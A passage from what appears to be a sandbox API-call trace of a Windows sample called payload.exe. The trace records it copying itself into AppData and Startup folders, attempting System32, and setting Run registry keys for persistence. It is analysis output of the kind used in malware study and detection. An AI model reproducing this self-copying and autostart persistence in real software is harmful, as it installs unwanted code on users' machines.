hHeap=0x4f0000) returned 1 [0084.469] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload.exe", lpDst=0x54af18, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\payload.exe") returned 0x20 [0084.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55af20 | out: hHeap=0x4f0000) returned 1 [0084.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54af18 | out: hHeap=0x4f0000) returned 1 [0084.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x20e0020 [0084.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.470] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x504618 [0084.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.470] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525bf0 [0084.470] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.470] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.470] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0084.470] lstrlenW (lpString="kernel32.dll") returned 12 [0084.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504618 | out: hHeap=0x4f0000) returned 1 [0084.470] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0084.470] CreateFileW (lpFileName="C:\\Windows\\System32\\payload.exe" (normalized: "c:\\windows\\system32\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.471] CloseHandle (hObject=0xe0) returned 1 [0084.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.471] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525bf0 [0084.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.471] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525ba0 [0084.471] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.471] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.471] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.471] lstrlenW (lpString="kernel32.dll") returned 12 [0084.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.471] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x20e0020 | out: hHeap=0x4f0000) returned 1 [0084.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54af18 [0084.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55af20 [0084.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.471] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525bf0 [0084.471] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525bf0, Size=0x40) returned 0x526cf8 [0084.471] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cf8, Size=0x80) returned 0x56af40 [0084.471] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x527e70 [0084.471] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527e70 | out: hHeap=0x4f0000) returned 1 [0084.471] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\payload.exe", lpDst=0x54af18, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload.exe") returned 0x3a [0084.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55af20 | out: hHeap=0x4f0000) returned 1 [0084.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54af18 | out: hHeap=0x4f0000) returned 1 [0084.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x20e0020 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.472] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525bf0 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.472] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525ba0 [0084.472] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.472] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.472] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.472] lstrlenW (lpString="kernel32.dll") returned 12 [0084.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.472] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0084.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0084.473] ReadFile (in: hFile=0xe0, lpBuffer=0x20e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20e0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0084.750] WriteFile (in: hFile=0xe4, lpBuffer=0x20e0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20e0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0084.752] ReadFile (in: hFile=0xe0, lpBuffer=0x20e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20e0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0084.752] CloseHandle (hObject=0xe4) returned 1 [0084.752] CloseHandle (hObject=0xe0) returned 1 [0084.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525ba0 [0084.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525bf0 [0084.752] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.752] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.752] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.752] lstrlenW (lpString="kernel32.dll") returned 12 [0084.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.752] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x20e0020 | out: hHeap=0x4f0000) returned 1 [0084.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.756] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x525ba0 [0084.756] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525ba0, Size=0x40) returned 0x526cf8 [0084.756] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cf8, Size=0x80) returned 0x56af40 [0084.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload.exe") returned 57 [0084.756] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0084.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x525548 [0084.756] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0084.756] RegSetValueExW (hKey=0xe0, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData=0x52af08, cbData=0x72) returned 0x5 [0084.756] RegCloseKey (hKey=0xe0) returned 0x0 [0084.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525548 | out: hHeap=0x4f0000) returned 1 [0084.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload.exe") returned 57 [0084.756] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0084.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x525548 [0084.756] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0084.756] RegSetValueExW (in: hKey=0xe4, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload.exe", cbData=0x72 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload.exe") returned 0x0 [0084.757] RegCloseKey (hKey=0xe4) returned 0x0 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525548 | out: hHeap=0x4f0000) returned 1 [0084.757] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56af40 | out: hHeap=0x4f0000) returned 1 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54af18 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55af20 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.757] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525ba0 [0084.757] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525ba0, Size=0x40) returned 0x526cf8 [0084.757] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cf8, Size=0x80) returned 0x56af40 [0084.757] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x527e70 [0084.757] lstrlenW (lpString="") returned 0 [0084.757] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x525548 [0084.757] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0084.757] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55af20, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x55af20*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0084.757] RegCloseKey (hKey=0xe4) returned 0x0 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525548 | out: hHeap=0x4f0000) returned 1 [0084.757] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x525548 [0084.757] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0084.757] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55af20, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0084.757] RegCloseKey (hKey=0xe4) returned 0x0 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525548 | out: hHeap=0x4f0000) returned 1 [0084.757] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0084.757] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527e70 | out: hHeap=0x4f0000) returned 1 [0084.757] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x54af18, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x68 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55af20 | out: hHeap=0x4f0000) returned 1 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54af18 | out: hHeap=0x4f0000) returned 1 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x20e0020 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.757] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525ba0 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.758] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525bf0 [0084.758] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.758] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.758] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.758] lstrlenW (lpString="kernel32.dll") returned 12 [0084.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.758] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0084.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.758] CloseHandle (hObject=0xe4) returned 1 [0084.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.758] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525bf0 [0084.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.758] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525ba0 [0084.758] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.758] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.758] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.758] lstrlenW (lpString="kernel32.dll") returned 12 [0084.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.758] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x20e0020 | out: hHeap=0x4f0000) returned 1 [0084.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54af18 [0084.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55af20 [0084.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.759] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525bf0 [0084.759] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525bf0, Size=0x40) returned 0x526cf8 [0084.759] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cf8, Size=0x80) returned 0x56af40 [0084.759] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x527e70 [0084.759] lstrlenW (lpString="") returned 0 [0084.759] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x525548 [0084.759] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0084.759] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55af20, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0084.759] RegCloseKey (hKey=0xe4) returned 0x0 [0084.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525548 | out: hHeap=0x4f0000) returned 1 [0084.759] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0084.759] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527e70 | out: hHeap=0x4f0000) returned 1 [0084.759] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x54af18, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x49 [0084.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55af20 | out: hHeap=0x4f0000) returned 1 [0084.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54af18 | out: hHeap=0x4f0000) returned 1 [0084.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x20e0020 [0084.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.759] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525bf0 [0084.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.759] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525ba0 [0084.759] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.759] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.759] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.759] lstrlenW (lpString="kernel32.dll") returned 12 [0084.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.759] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0084.760] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.760] CloseHandle (hObject=0xe4) returned 1 [0084.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.760] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525ba0 [0084.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.760] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x525bf0 [0084.760] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0084.760] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0084.760] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0084.760] lstrlenW (lpString="kernel32.dll") returned 12 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525bf0 | out: hHeap=0x4f0000) returned 1 [0084.760] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x20e0020 | out: hHeap=0x4f0000) returned 1 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af08 | out: hHeap=0x4f0000) returned 1 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53af10 | out: hHeap=0x4f0000) returned 1 [0084.760] lstrlenW (lpString="%windir%\\System32") returned 17 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526c68 | out: hHeap=0x4f0000) returned 1 [0084.760] lstrlenW (lpString="%appdata%") returned 9 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504668 | out: hHeap=0x4f0000) returned 1 [0084.760] lstrlenW (lpString="%sh(Startup)%") returned 13 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504640 | out: hHeap=0x4f0000) returned 1 [0084.760] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526cb0 | out: hHeap=0x4f0000) returned 1 [0084.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.760] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x504640 [0084.760] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504640, Size=0x40) returned 0x526cb0 [0084.760] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cb0, Size=0x80) returned 0x56af40 [0084.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.760] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x504640 [0084.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x52af08 [0084.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54af10 [0084.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55af18 [0084.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d60 [0084.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d60, Size=0x20) returned 0x504668 [0084.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504668, Size=0x40) returned 0x526cb0 [0084.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, 